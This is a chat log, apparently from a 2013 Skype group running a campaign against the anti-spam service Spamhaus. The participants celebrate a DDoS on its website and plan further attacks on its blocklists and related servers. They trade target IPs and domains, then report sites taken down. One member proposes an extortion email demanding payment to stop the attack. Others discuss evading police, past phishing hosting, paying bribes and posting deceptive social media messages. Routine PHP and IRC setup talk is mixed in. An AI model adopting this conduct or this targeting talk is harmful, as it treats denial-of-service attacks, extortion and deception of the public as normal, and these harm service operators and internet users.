Prinz Sven Olaf von CyberBunker-Kamphuis MP: imma go piss on his grave [17.03.2013 22:49:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and take video of it for our press publications [17.03.2013 22:49:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [17.03.2013 22:50:09] narko: they will put you on rokso if you do [17.03.2013 23:23:35] narko: Luc Rossini '@LucRossini Spamhaus is currently under a DDoS attack against our website which we are working on mitigating. Our DNSBLs are not affected. #spamhaus [17.03.2013 23:25:03] WebExxpurts: are they challanging to someone who ddos their mail site that their DNSBL are not affected? Is it a challange? [17.03.2013 23:25:20] WebExxpurts: lol [17.03.2013 23:25:26] narko: someone had to reference him in a twitter message before he wrote something [17.03.2013 23:25:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not affected -yet- [17.03.2013 23:25:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ll [17.03.2013 23:25:37] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: is what he means [17.03.2013 23:26:08] WebExxpurts: ah [17.03.2013 23:26:09] WebExxpurts: got it [17.03.2013 23:26:15] narko: (whew) [17.03.2013 23:32:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:https://twitter.com/LucRossini [17.03.2013 23:32:17] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol the other posts of that guy seem desperate [17.03.2013 23:32:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha [17.03.2013 23:32:46] narko: @DealsMelbourne would be very wise to remove anyhttp://spamhaus.org addresses from your adverts list NOW or we will place you on SBL. [17.03.2013 23:33:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: which is, blackmail [17.03.2013 23:33:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ll [17.03.2013 23:33:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol [17.03.2013 23:34:11] narko: well thats spamhaus [18.03.2013 00:12:06] eDataKing: did spamhaus tweet that? [18.03.2013 00:12:34] narko: yes [18.03.2013 00:12:37] narko: months ago [18.03.2013 00:12:40] eDataKing: good evidence [18.03.2013 00:13:07] eDataKing: can we get a screenshot of the tweet on the spamhaus twitter feed for the forum someone [18.03.2013 00:13:20] eDataKing: I can't access Twitter. I will have the new connection here tomorrow. [18.03.2013 00:13:39] narko: your internet blocks twitter? [18.03.2013 00:13:52] eDataKing: I am tethered to a throw-away mobile [18.03.2013 00:15:04] eDataKing: so no, I can't go to google groups, twitter, facebook, pinterest, or a slew of other sites [18.03.2013 00:16:14] Yuri: looks we need PR manager who will write upto 100 posts in twitter and groups per day [18.03.2013 00:16:25] eDataKing: I have a perfect person for that [18.03.2013 00:16:30] eDataKing: I'll ping him now [18.03.2013 00:20:07] Cali: Good evening. [18.03.2013 00:20:34] Yuri: ok, added twitter [18.03.2013 00:21:00] Yuri: they don't write to twitter much, it's much easy to make much posts there [18.03.2013 00:21:11] Yuri: we will find some work to publish some information in twitter about them [18.03.2013 00:28:28] Cali: http://www.complaintsboard.com/complaints/spamhaus-london-england-south-yorkshire-c112627.html [18.03.2013 00:32:56] narko: nothing will happen [18.03.2013 00:33:12] narko: UK police are useless [18.03.2013 00:33:21] narko: ihosted phishing sites in UK before and it was reporterd and nothing happen [18.03.2013 00:33:21] narko: lol [18.03.2013 00:33:24] Yuri: +1 [18.03.2013 00:33:49] Yuri: boys, you need just start jurist knowladge to understand how to act. [18.03.2013 00:34:07] narko: i think the uk police only work when america asks them to do something ;) [18.03.2013 00:34:22] Cali: Yuri, they had to pay spammer many times already. [18.03.2013 00:34:28] Cali: so a lot of cases were successful. [18.03.2013 00:36:20] Yuri: heh... all google twitter right now. [18.03.2013 00:36:38] Yuri: i think we could write some intresting info like from "spamhaus member" [18.03.2013 00:36:51] narko: http://www.webhostingtalk.com/showpost.php?p=8604811&postcount=9 [18.03.2013 00:42:26] eDataKing: That is a Nanae poster [18.03.2013 00:42:29] eDataKing: OttawaGuru [18.03.2013 00:43:14] eDataKing: and who 'called for a DDOS on SPamhaus'? That's absurd, there was a question on whether or not anyone considered DDOSing each individual volunteer's servers. [18.03.2013 00:43:23] eDataKing: But never a mention of a DDOS os Haus [18.03.2013 00:44:23] eDataKing: Oh, in 2011 there was something like that...but damn, that's going way back [18.03.2013 00:47:55] eDataKing: They must be referring to this: http://www.articlesbase.com/spam-articles/spamhaus-is-never-wrongor-so-they-seem-to-think-4148524.html [18.03.2013 00:48:11] eDataKing: and I was merely discussing a historical event when AnonOps smacked them [18.03.2013 00:48:24] eDataKing: anyways, that is how they twist media to smear opponents [18.03.2013 01:27:15] narko: my bitcoin wallet is not syncronized yet [18.03.2013 01:27:17] narko: i started it [18.03.2013 01:27:19] narko: 12 hours ago [18.03.2013 01:27:22] narko: :^) [18.03.2013 01:27:29] eDataKing: mine did in like 5 mins [18.03.2013 01:27:39] narko: its gone 5% in 12 hours [18.03.2013 01:27:44] eDataKing: hmmm [18.03.2013 01:27:46] eDataKing: not right [18.03.2013 01:28:03] eDataKing: you install the s/w from weusecoins.com? [18.03.2013 01:28:17] narko: its bitcoin-qt [18.03.2013 01:28:21] narko: i installed it a yearag [18.03.2013 01:28:22] narko: o [18.03.2013 01:28:26] eDataKing: ok [18.03.2013 01:28:49] narko: shouldhave just left it open for the entire year [18.03.2013 01:28:58] eDataKing: personally, I would just download the new installer on the windows server that is going to host the chat room [18.03.2013 01:29:10] eDataKing: and it should be ready to go in mins, if not faster [18.03.2013 01:29:10] narko: the chat room is linux [18.03.2013 01:29:14] eDataKing: ok [18.03.2013 01:29:20] eDataKing: you went with linux. [18.03.2013 01:29:20] eDataKing: gotcha [18.03.2013 01:29:23] narko: yes [18.03.2013 01:29:28] narko: it uses less ram [18.03.2013 01:29:32] eDataKing: right [18.03.2013 01:30:45] narko: my computer has nothing on it -> i connect to windows server where i do all work etc -> on windows server is vmware with a vm with chatroom [18.03.2013 01:31:10] eDataKing: right [18.03.2013 01:31:14] narko: therse nothing for the police if they come and take my computer [18.03.2013 01:31:15] narko: :P [18.03.2013 01:31:23] eDataKing: :) [18.03.2013 01:36:07] Cali: a lot of windows. [18.03.2013 01:39:48] narko: if I move to cambodia [18.03.2013 01:40:00] narko: i can stay legally for as long as i want due to "indefinite visa" [18.03.2013 01:40:14] narko: but their monthly internet limits is 800MB (envy) [18.03.2013 01:40:24] narko: i dont know how piratebay guys ran a site with that [18.03.2013 02:21:34] Cali: TPB is not in cambodia. [18.03.2013 02:22:33] narko: i decided on moldova [18.03.2013 02:23:04] Cali: Very bad idea. [18.03.2013 02:23:13] narko: why is this? [18.03.2013 02:23:20] Cali: Because the FBI has all the rights there. [18.03.2013 02:23:26] Cali: they can extradite you. [18.03.2013 02:23:39] Cali: The same as Romania. [18.03.2013 02:23:48] narko: and ukraine? [18.03.2013 02:23:55] Cali: Ukraine is ok. [18.03.2013 02:24:06] narko: ukraine probably better than moldova [18.03.2013 02:24:09] narko: because i don't speak romanian [18.03.2013 02:24:20] Cali: They don't speak Romanian. [18.03.2013 02:24:22] Cali: they have a local language there. [18.03.2013 02:24:28] Cali: and they speak a lot Russian too. [18.03.2013 02:26:20] Cali: But I would not go there to feel safe. [18.03.2013 02:26:25] narko: feel safe from what? [18.03.2013 02:26:42] Cali: feel safe from idiots. [18.03.2013 02:26:52] Cali: American authorities [18.03.2013 02:26:54] Cali: and crap like that. [18.03.2013 02:26:58] narko: i need somewhere i can pay a bribe when they tell me i overstaying my visa [18.03.2013 02:27:05] Cali: oh [18.03.2013 02:27:08] Cali: go to Belarus then [18.03.2013 02:27:11] Cali: a friend just did that :) [18.03.2013 02:27:23] Cali: You can find one for 400, 500 dollars. [18.03.2013 02:27:28] narko: and also somewhere that i can't just disappear by the government [18.03.2013 02:27:38] Cali: btw, nobody cares about visa there. [18.03.2013 02:27:40] Cali: you can just stay there [18.03.2013 02:27:42] Cali: nothing will happen. [18.03.2013 02:27:44] narko: belarus? [18.03.2013 02:27:48] Cali: no not belarus [18.03.2013 02:27:50] Cali: moldova or ukraine. [18.03.2013 02:28:30] eDataKing: what about a place that takes an ex-felon from the US for citizenship or expat? [18.03.2013 02:28:44] Yuri: i hope some day i have enough place here in Moscow, so i can welcome here :) [18.03.2013 02:28:58] narko: maybe russia is also an option? [18.03.2013 02:29:10] eDataKing: can I go to Russia and stay? [18.03.2013 02:29:18] Cali: You can come to Ukraine, I have a lot of space :D [18.03.2013 02:29:28] narko: one of my friend in russia lives on 5000rub per month by living in one room and eating only doshirak [18.03.2013 02:29:36] eDataKing: even with some felonies from a decade ago? [18.03.2013 02:29:39] Cali: and it is very empty :) Yuri can confirm :) [18.03.2013 02:30:02] narko: kiev? [18.03.2013 02:30:09] Cali: yeah [18.03.2013 02:30:17] eDataKing: what is the coversion rate from USD to Rub? [18.03.2013 02:30:23] narko: its about 165$ [18.03.2013 02:30:34] eDataKing: If I came with $100K, is that a good life or just getting by? [18.03.2013 02:30:35] Yuri: dishirak.... .hehehe... [18.03.2013 02:31:11] eDataKing: and I could just work online from there I presume? [18.03.2013 02:31:22] Cali: 1 dollar is 30 rub [18.03.2013 02:31:48] eDataKing: so, $100K is 3 mil rub? Is my quick math right? [18.03.2013 02:32:08] eDataKing: or 30? [18.03.2013 02:32:08] Cali: yes [18.03.2013 02:32:19] Cali: 3 million rubles. [18.03.2013 02:32:26] Cali: and some kopecs :) [18.03.2013 02:32:51] eDataKing: ok, so 3 mil rub to start with and need good housing for family of 4 and all permits to be in the country legally for as long as possible? [18.03.2013 02:33:09] eDataKing: what kind of life is that if we are earning $20-30K a month online working? [18.03.2013 02:33:15] narko: you will be the first person to move from america to russia and not in the other way :P [18.03.2013 02:38:21] eDataKing: I need a cheap win server with vmware for a workstation. Solutions? [18.03.2013 02:39:02] narko: ovh cheap [18.03.2013 02:39:12] eDataKing: intention is for a totally private an anonymous workstation. [18.03.2013 02:50:23] narko: ahh i cant decide [18.03.2013 02:50:27] narko: russia has a nicer flag [18.03.2013 02:50:33] narko: but slower internet [18.03.2013 02:50:46] eDataKing: oh yeah, I was locked up with some guys that got caught by ICE. They had no court date, no out date, and if they fought extradiction, they would sit there for 6 months and still get kicked. [18.03.2013 02:51:06] narko: i know someone who got reported on ICE and FBI raided him and he had to go to court [18.03.2013 02:51:08] narko: he was 14 [18.03.2013 02:51:11] narko: and he ddosed a game server [18.03.2013 02:51:16] eDataKing: wow [18.03.2013 02:51:22] eDataKing: even kids [18.03.2013 02:51:49] Cali: we all love America. [18.03.2013 03:00:28] Yuri: Anonymous '@YourAnonNews tango down: http://justice.gov | #UnderGods much fun last days in the internet. [18.03.2013 05:58:49] Mastermind of Possibilities: So who are the people you guys added who "left the conversation" [18.03.2013 05:59:01] Mastermind of Possibilities: They didnt talk just lurked then left... kinds bugs me [18.03.2013 06:01:35] eDataKing: I saw Marcelis come and go real fast [18.03.2013 06:10:40] simomchen: do I sent to sent a email to spamhaus , and asking 'if you wanna to stop the ddos , you need to pay us xxxxxx as damages' ? [18.03.2013 06:10:56] simomchen: them , just sent this money to Narko , and keeping ddos... [18.03.2013 06:10:57] simomchen: lol [18.03.2013 06:11:09] Mastermind of Possibilities: lol [18.03.2013 06:11:41] simomchen: I'm using ADSL in China , it's dynamic IP , and a public wifi point , nobody can dig that out [18.03.2013 06:12:25] simomchen: and I can simply to drive 200KM in the free way , and sent this email ... [18.03.2013 06:14:33] Mastermind of Possibilities: lol [18.03.2013 06:14:56] simomchen: well , is everyone know the email address of linford ? [18.03.2013 06:16:34] eDataKing: he has a bunch, but his public one islinford@spamhaus.org [18.03.2013 06:16:48] eDataKing: I assume he isn't getting much mail there these days though [18.03.2013 06:16:58] simomchen: their email is not working currently , so , need something like xxx@gmail.com [18.03.2013 06:18:22] eDataKing: I imagine they are just using one fromspamteq.com's server [18.03.2013 06:21:29] simomchen: linford@spamhaus.org ==> 82.94.216.239 [18.03.2013 06:21:40] simomchen: do not know whether this IP is working [18.03.2013 06:22:29] simomchen: this IP also droped in Chinatelecom [18.03.2013 06:22:30] eDataKing: no, that IP should not be working [18.03.2013 06:23:27] eDataKing: That is: ns8.spamhaus.org [18.03.2013 06:23:32] eDataKing: timeout [18.03.2013 06:24:47] eDataKing: if they can't even give people a way to contact them for delisting, there is little chance we are going to find the email account being used [18.03.2013 06:25:34] Mastermind of Possibilities: This is where they send out SBL notifications from too: [18.03.2013 06:25:34] Mastermind of Possibilities: Received: from smtp-ext-layer.spamhaus.org (ns8.spamhaus.org. [82.94.216.239]) by mx.google.com with ESMTPS id z15si5184253eef.136.2011.12.11.23.29.39 (version=TLSv1/SSLv3 cipher=OTHER); [18.03.2013 06:27:34] eDataKing: well, we know they can't get delisting requests [18.03.2013 06:27:44] eDataKing: and we know they aren't sending out new SBL reports either [18.03.2013 06:27:48] simomchen: strange , I tracert this IP in China just now. it's droped by China telecom [18.03.2013 06:28:12] eDataKing: yeah, that being received is weird [18.03.2013 06:29:36] eDataKing: spamhaus.mu spamhaus.sc spamhaustech.com spamhauswhitelist.com spamteq.com swlcert.com [18.03.2013 06:29:48] eDataKing: those are all on the same server [18.03.2013 06:29:57] eDataKing: http://ip.robtex.com/82.94.216.239.html [18.03.2013 06:30:42] eDataKing: since spamteq.com andspamhaustech.com are up and hosted on that IP then I suppose that IP is resolving [18.03.2013 06:31:18] eDataKing: I suggested these be addressed yesterday but I think someone told me it was already discussed [18.03.2013 06:32:09] simomchen: so , you think , that email addresslinford@spamhaus.org is still working ? [18.03.2013 07:10:28] eDataKing: I do [18.03.2013 07:10:55] Mastermind of Possibilities: yes [18.03.2013 07:11:14] eDataKing: I think, if it is coming fromns8.spamhaus.org and that IP is 82.94.216.239 then it is probably working. [18.03.2013 07:11:19] Mastermind of Possibilities: webhostingtalk. [18.03.2013 07:11:27] eDataKing: As that IP is also serving as the NS records for spamteq.com [18.03.2013 07:23:55] simomchen: IP PTR A 192.150.94.200 spamhaus.as1101.net ns3.spamhaus.org [18.03.2013 07:24:04] Mastermind of Possibilities: ? [18.03.2013 07:24:44] simomchen: just found this , it seems not in Sven's list [18.03.2013 07:24:57] Mastermind of Possibilities: oh [18.03.2013 07:25:04] Mastermind of Possibilities: Interesting reading: [18.03.2013 07:25:05] Mastermind of Possibilities:http://www.experian.com/blogs/marketing-forward/2013/03/07/email-blacklisting-5-stages-to-recovery/ [18.03.2013 07:28:02] eDataKing: yeah, one of the major myths I have been trying to expose is the 'Spamhaus only maintains a list' rumor [18.03.2013 07:28:24] eDataKing: Obviously they do much more than that or most of us wouldn't even know who they were [18.03.2013 07:28:46] eDataKing: how does an ISP that is not using SPamhaus know when SPamhaus has listed one of their cvlients? [18.03.2013 07:28:56] eDataKing: Not because Spamhaus is just 'hosting a list' [18.03.2013 07:43:26] WebExxpurts: edataking:: chat license is changed? [18.03.2013 07:54:51] eDataKing: not yet, I just sent another email to see if I can speed it up [18.03.2013 10:13:24] eDataKing: anyone else getting an error on the forum? [18.03.2013 10:13:52] eDataKing: I went to check it and am getting an error. I wish I understood php a little better :( [18.03.2013 10:23:36] Antitheist: narkos magic [18.03.2013 10:29:41] eDataKing: they did an update and null routed their servers. They must have gotten tired of being in business lol [18.03.2013 10:29:56] Валерий Лёлин: spamhaus down? [18.03.2013 10:29:58] Валерий Лёлин: end of life? [18.03.2013 10:30:14] eDataKing: close, but they are on life-support [18.03.2013 10:30:52] eDataKing: Need to fix the forum if the error is universal [18.03.2013 10:31:01] eDataKing: are you getting an error Sven? [18.03.2013 10:31:39] Andrei Stanchevici: their website is down [18.03.2013 10:36:14] *** HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP, buraya Aleksey Frolov adlı kiÅŸiyi ekledi *** [18.03.2013 10:36:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Fatal error: Call to undefined function preg_replace() in /home/antispamhaus/stophaus.com/includes/class_core.php on line 2369 [18.03.2013 10:41:10] Валерий Лёлин: php 5.4? [18.03.2013 10:41:32] Валерий Лёлин: install mb_strings php module [18.03.2013 10:41:36] eDataKing: dunno, it is Yuri's server [18.03.2013 10:41:46] eDataKing: this is a new error [18.03.2013 10:41:51] eDataKing: never seen it before [18.03.2013 10:42:00] twisted: url? [18.03.2013 10:42:12] eDataKing: http://stophaus.com/ [18.03.2013 10:42:54] twisted: PHP was configured "--without-pcre-regex" [18.03.2013 10:43:07] Валерий Лёлин: mbstrings php module [18.03.2013 10:43:12] Валерий Лёлин: php -m | grep stri [18.03.2013 10:43:30] twisted: mbstrings does something entirely different [18.03.2013 10:44:37] eDataKing: This is the code that it is referring to: function strip_sessionhash($string) { $string = preg_replace('/(s|sessionhash)=[a-z0-9]{32}?&?/', '', $string); return $string; [18.03.2013 10:44:47] twisted: http://php.net/manual/ref.mbstring.php you only need it for multibyte strings etc, preg_replace is a built-in function (at least, if you... configure it properly :P) [18.03.2013 10:45:10] eDataKing: so, can I just remove that function for now and be able to update the forum tonight? [18.03.2013 10:46:22] twisted: well I'd be more worried about why your PCRE suddenly disappeared :P [18.03.2013 10:47:16] eDataKing: PCRE? [18.03.2013 10:48:00] twisted:http://www.php.net/manual/en/pcre.installation.php preg_replace is part of the PCRE extension [18.03.2013 10:48:06] eDataKing: I see [18.03.2013 10:48:07] twisted: however since PHP 5.3 it's standard [18.03.2013 10:48:21] twisted: put this in a file: [18.03.2013 10:48:30] twisted: call it like test.php [18.03.2013 10:48:32] eDataKing: well, everything worked fine and I watched a movie, went back to it, and it was like that [18.03.2013 10:48:34] twisted: and give me the url [18.03.2013 10:50:27] eDataKing: http://stophaus.com/test.php [18.03.2013 10:50:58] eDataKing: 5.2.12 [18.03.2013 10:51:03] eDataKing: before 5.3 :( [18.03.2013 10:51:23] Валерий Лёлин: hm [18.03.2013 10:51:27] Валерий Лёлин: my dedi? [18.03.2013 10:51:40] twisted: pcre is not configured [18.03.2013 10:51:53] twisted: so either your php binary got replaced while you watched that movie [18.03.2013 10:51:57] twisted: or it's just a miracle it worked before ;) [18.03.2013 10:53:01] twisted: ah [18.03.2013 10:53:07] eDataKing: ok, so it is not a difficult fix then? [18.03.2013 10:53:10] twisted: check your hosting panel or whatever [18.03.2013 10:53:15] Aleksey Frolov: what problem [18.03.2013 10:53:16] twisted: some allow you to switch PHP version [18.03.2013 10:53:33] eDataKing: Is it something I can handle as a server hobbyist or do I need to get someone with admin qualifications [18.03.2013 11:01:55] twisted: depends on how the server is configured I guess [18.03.2013 11:02:02] eDataKing: don't have one [18.03.2013 11:02:09] eDataKing: I think it is an add-on domain [18.03.2013 11:02:19] eDataKing: I guess we'll have to wait for Yuri or narko :( [18.03.2013 11:04:14] twisted: well you can technically do it without preg_replace but it's a -lot- more code [18.03.2013 11:04:17] twisted: not recommended :P [18.03.2013 12:29:02] WebExxpurts: flashchat? [18.03.2013 12:29:30] eDataKing: lemme check again [18.03.2013 12:29:42] eDataKing: I checked a few hours ago and it hadn't come yet, so I sent them another email [18.03.2013 12:29:53] WebExxpurts: or can someone install ircd on the stophaus? [18.03.2013 12:29:57] WebExxpurts: lets quit skype [18.03.2013 12:30:34] Goo: hmm [18.03.2013 12:30:53] -= Darwick =-: agreed [18.03.2013 12:31:02] -= Darwick =-: an SSL irc server would be much better and safer [18.03.2013 12:31:10] Goo: safer then what? [18.03.2013 12:31:17] Goo: lol [18.03.2013 12:31:18] -= Darwick =-: safer then talk in skype [18.03.2013 12:31:32] Goo: well yeah but still it isnt that safe.. [18.03.2013 12:32:02] WebExxpurts: jabber? [18.03.2013 12:32:13] Goo: with OTR plugin is safer yes [18.03.2013 12:32:39] Goo: im developing a new tool, what uses irc but its all encrypted though [18.03.2013 12:32:43] twisted: I'd propose to use our psycd server but you can't reach it :') [18.03.2013 12:32:49] eDataKing: not yet [18.03.2013 12:33:07] eDataKing: the chatroom is all installed and the media server is running [18.03.2013 12:33:54] eDataKing: we are merely awaiting a license file because the company that made a kick-ass chatroom for a good price also had a stupid policy to prevent cracks and that is to only have one person that does license changes [18.03.2013 12:34:09] eDataKing: and she is a partner, so I doubt she works on weekends [18.03.2013 12:34:12] eDataKing: I have had this issue before [18.03.2013 12:34:20] eDataKing: first thing Mon morning in China I got my email [18.03.2013 12:34:38] eDataKing: but that would be like 12 hours ago right? [18.03.2013 12:35:05] eDataKing: I am EST -5 [18.03.2013 12:35:21] eDataKing: it's 6:30am Mon morning here. [18.03.2013 12:35:29] Goo: its 11:35 am here [18.03.2013 12:35:39] eDataKing: what country? [18.03.2013 12:35:41] Goo: NL [18.03.2013 12:35:45] eDataKing: ok [18.03.2013 12:35:47] Goo: :) [18.03.2013 12:35:59] eDataKing: I have a lot of good friends that are kiwis [18.03.2013 12:36:09] Goo: ghehe [18.03.2013 12:36:22] eDataKing: and I have a lot of good kiwi domains that I was going to do something with one day, but then felt guilty because I am not Kiwi [18.03.2013 12:36:36] Goo: haha [18.03.2013 12:36:47] eDataKing: maybe I'll trade them to you [18.03.2013 12:36:59] eDataKing: like kiwibusinesses.com and stuff [18.03.2013 12:37:16] Goo: i have already to many domains [18.03.2013 12:37:20] Goo: hah [18.03.2013 12:37:21] eDataKing: I have a few of those type [18.03.2013 12:37:27] eDataKing: ahh, I should have known [18.03.2013 12:37:46] eDataKing: still, isn't that a good thing for trading ;) [18.03.2013 12:38:18] Goo: true [18.03.2013 12:38:38] WebExxpurts: we keep Stophaus and irc on different servers? [18.03.2013 12:38:55] eDataKing: IRC? [18.03.2013 12:39:03] eDataKing: the IRC chat is via ChatCentral [18.03.2013 12:39:13] -= Darwick =-: not exactly what I mean... [18.03.2013 12:39:48] -= Darwick =-: there are many irc server types [18.03.2013 12:40:00] -= Darwick =-: like this: http://www.unrealircd.com/ [18.03.2013 12:40:21] Antitheist: you mean ircds [18.03.2013 12:40:28] eDataKing: I think we agreed that the self-installed and hosted flashchat solves the problem. [18.03.2013 12:40:35] Antitheist: irc server is efnet/wondernet/hackint etc [18.03.2013 12:40:36] eDataKing: Does IRC somehow solve it better? [18.03.2013 12:40:46] -= Darwick =-: yes it is [18.03.2013 12:40:56] eDataKing: either way, it would take as long to build out an IRC server as it will to wait on the license [18.03.2013 12:41:04] Antitheist: flashchat is flash based? it would suck.. [18.03.2013 12:41:12] -= Darwick =-: much better because if we install an ircd to a "trusted" computer [18.03.2013 12:41:21] eDataKing: well, it has not sucked in the past [18.03.2013 12:41:27] -= Darwick =-: and we connect into it, it can't be sniffed by anybody [18.03.2013 12:45:58] Antitheist: webexxpurts, can your vps be used for hosting irc servers? [18.03.2013 12:45:59] WebExxpurts: lets not keep stophaus and chat or irc on same node [18.03.2013 12:46:04] eDataKing: I have nothing against IRC, but I remeber the debate that it was not secure enough [18.03.2013 12:46:10] eDataKing: from yesterday [18.03.2013 12:46:11] WebExxpurts: irc ports are blocked by upstreadms [18.03.2013 12:46:20] Antitheist: we will not use 6667 [18.03.2013 12:46:32] Antitheist: we can use 31337+ssl [18.03.2013 12:46:34] Antitheist: :) [18.03.2013 12:46:43] WebExxpurts: ok [18.03.2013 12:47:01] eDataKing: I don't know how configurable flashchat would be though, it is pretty much an out-of-the-box chatroom [18.03.2013 12:47:21] Antitheist: but the problem is that it has to be on a webserver [18.03.2013 12:47:35] eDataKing: all that is already done [18.03.2013 12:47:37] Antitheist: and webservers are vulnerable to alot of shit \\even without flashchats\\ [18.03.2013 12:47:40] eDataKing: narko already took care of the install [18.03.2013 12:47:50] WebExxpurts: where is narko? [18.03.2013 12:47:50] eDataKing: we are just waiting on the new license.dat file [18.03.2013 12:47:55] WebExxpurts: sleeping? [18.03.2013 12:48:02] eDataKing: I think so [18.03.2013 12:48:41] eDataKing: narko has control over the chatroom server. [18.03.2013 12:49:06] eDataKing: I figured he had the most risk involved, so his trust is by default [18.03.2013 12:50:14] Antitheist: but i think he was also in favor of irc [18.03.2013 12:50:31] Antitheist: which is natural since it has no bells and whistles with closed source [18.03.2013 12:51:27] eDataKing: I use IRC, I have no issue with that [18.03.2013 12:51:34] eDataKing: just no bells and whistles is all [18.03.2013 12:52:48] Antitheist: so we need to wait for his decision [18.03.2013 12:59:08] eDataKing: I would say that is the most diplomatic thing to do [18.03.2013 13:09:09] Alex Optik:http://www.stopspamhaus.org/2013_02_01_archive.html [18.03.2013 13:09:35] Alex Optik: as i see there is already has same projects [18.03.2013 13:09:59] narko: (wave) [18.03.2013 13:10:17] eDataKing: that site is owned by a person in this group Alex [18.03.2013 13:10:46] eDataKing: yo narko. Long time lol [18.03.2013 13:10:51] eDataKing: hope you got a good rest [18.03.2013 13:11:51] narko: spamhaus still down? [18.03.2013 13:12:03] narko: :^) [18.03.2013 13:12:08] narko: they're not even trying [18.03.2013 13:12:23] eDataKing: looks that way, but all DNSBLs are up and that appears to be why the lack of issues. [18.03.2013 13:12:37] eDataKing: Basically it is preventing delisting and access to ROKSO at this time [18.03.2013 13:12:38] Alex Optik: are yeah found all ;) [18.03.2013 13:12:39] Alex Optik: http://antispamhaus.org/ [18.03.2013 13:12:48] eDataKing: which is wonderful if you ask me [18.03.2013 13:13:02] narko: today let's make down DNSBLs [18.03.2013 13:13:18] eDataKing: that would be an impressive action [18.03.2013 13:13:31] narko: Fatal error: Call to undefined function mysql_connect() :^) [18.03.2013 13:13:38] eDataKing: and the spamteq.com server that hosts linford's SBL report email address [18.03.2013 13:13:50] eDataKing: the address he sends those from is onns8.spamhaus.org [18.03.2013 13:14:18] narko: ns8 is down [18.03.2013 13:14:28] narko: its still nullrouted [18.03.2013 13:15:05] WebExxpurts: its up [18.03.2013 13:15:42] eDataKing: the sites and email accts on it are working [18.03.2013 13:15:50] narko: 4 b57-2-gw.spb.runnet.ru (194.190.255.9) 1.588 ms 1.327 ms 1.368 ms 5 b57-1-gw.spb.runnet.ru (194.85.40.205) 34.615 ms 34.573 ms 34.573 ms 6 tug11-1-gw.sth.runnet.ru (194.85.40.130) 53.253 ms 34.799 ms 44.459 ms 7 tug-1-gw.sth.runnet.ru (194.85.40.173) 12.97 ms 12.997 ms 12.963 ms 8 hikhef-1-gw.ams.runnet.ru (194.85.40.241) 34.739 ms 34.74 ms 34.652 ms 9 * * * 10 * * * 11 * * [18.03.2013 13:16:01] eDataKing: well, www.spamteq.com is up [18.03.2013 13:16:10] eDataKing: spamhaustech.com is up [18.03.2013 13:16:11] narko: thats [18.03.2013 13:16:12] narko: 192.150.94.202 [18.03.2013 13:16:23] eDataKing: spamhauswhitelist.com, and there are 4 or 5 more on there [18.03.2013 13:16:35] narko: ok let's make this ip down [18.03.2013 13:16:37] eDataKing: plus the linford@stophaus.org email acct sends from that IP [18.03.2013 13:16:38] narko: it's also one of their nameservers [18.03.2013 13:16:47] eDataKing: yes it is [18.03.2013 13:16:54] -= Darwick =-: should I help? [18.03.2013 13:17:16] narko: ok down [18.03.2013 13:17:25] -= Darwick =-: if there is a chance to make dnsbl down I should help then :) [18.03.2013 13:17:53] narko: yes theres other ips [18.03.2013 13:28:06] Alex Optik: http://www.spamhauswhitelist.com/en/ [18.03.2013 13:28:12] Alex Optik: will we down this too? [18.03.2013 13:28:26] Alex Optik: white list motherfuckers [18.03.2013 13:28:35] Yuri: just wake up [18.03.2013 13:28:39] Alex Optik: spamhaus whores [18.03.2013 13:28:41] Yuri: i see stophaus problem. [18.03.2013 13:28:49] Yuri: my admin was upgrading software on that server. [18.03.2013 13:28:52] Yuri: he fix that soon. [18.03.2013 13:28:56] Alex Optik: (devil) [18.03.2013 13:29:58] Alex Optik: narko what you say? mate [18.03.2013 13:30:13] narko: sure [18.03.2013 13:30:18] narko: i dont know if it will do anything [18.03.2013 13:30:35] narko: i've nevre heard of this spamhauswhitelist [18.03.2013 13:30:42] Alex Optik: ha ha [18.03.2013 13:30:48] Alex Optik: now you know about it ;) [18.03.2013 13:30:56] narko: and now its down [18.03.2013 13:31:35] -= Darwick =-: ehhhh :) [18.03.2013 13:31:39] -= Darwick =-: yes it is [18.03.2013 13:31:52] -= Darwick =-: it stucked when I did a try to load the page :) [18.03.2013 13:32:56] Alex Optik: spamhaus.mu spamhaus.sc spamhaustech.com spamhauswhitelist.com spamteq.com swlcert.com [18.03.2013 13:33:08] Alex Optik: that all thier websites [18.03.2013 13:33:11] Alex Optik: which is known [18.03.2013 13:33:22] Alex Optik: narko check them ;) [18.03.2013 13:33:43] -= Darwick =-: most of them are down [18.03.2013 13:33:59] narko: spamhaus.mu -> no a record spamhaus.sc -> no a record spamhaustech.com -> no a record spamhauswhitelist.com -> down spamteq.com -> down swlcert.com -> no a record [18.03.2013 13:34:08] *** Aleksey Frolov quit *** [18.03.2013 13:34:10] Alex Optik: aha i see [18.03.2013 13:37:00] WebExxpurts: yuri morning [18.03.2013 13:41:04] Yuri: hi. [18.03.2013 13:41:21] Yuri: stophaus.com soon come online. just updating php, compliling... [18.03.2013 13:41:24] WebExxpurts: we leave skype to irc [18.03.2013 13:41:29] WebExxpurts: what u say [18.03.2013 13:41:34] Yuri: give me URL [18.03.2013 13:41:35] WebExxpurts: whats narko take on it [18.03.2013 13:41:37] WebExxpurts: skype is not god [18.03.2013 13:41:38] WebExxpurts: good [18.03.2013 13:41:56] Yuri: shall i download some other client for that? [18.03.2013 13:44:54] narko: i will install irc server then [18.03.2013 13:45:01] narko: on the chaat server [18.03.2013 13:51:06] Yuri: Щл [18.03.2013 13:51:07] Yuri: ok [18.03.2013 13:51:29] -= Darwick =-: narko which ircd? [18.03.2013 13:51:33] narko: unreal [18.03.2013 13:51:37] -= Darwick =-: great :) [18.03.2013 14:10:29] narko: irc.stophaus.com : 7000 / ssl #stophaus [18.03.2013 14:10:52] narko: need to set your client to accept self-signed ssl [18.03.2013 14:15:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: make sure you remove all whois, who and dcc host/ip related code from that ircd. 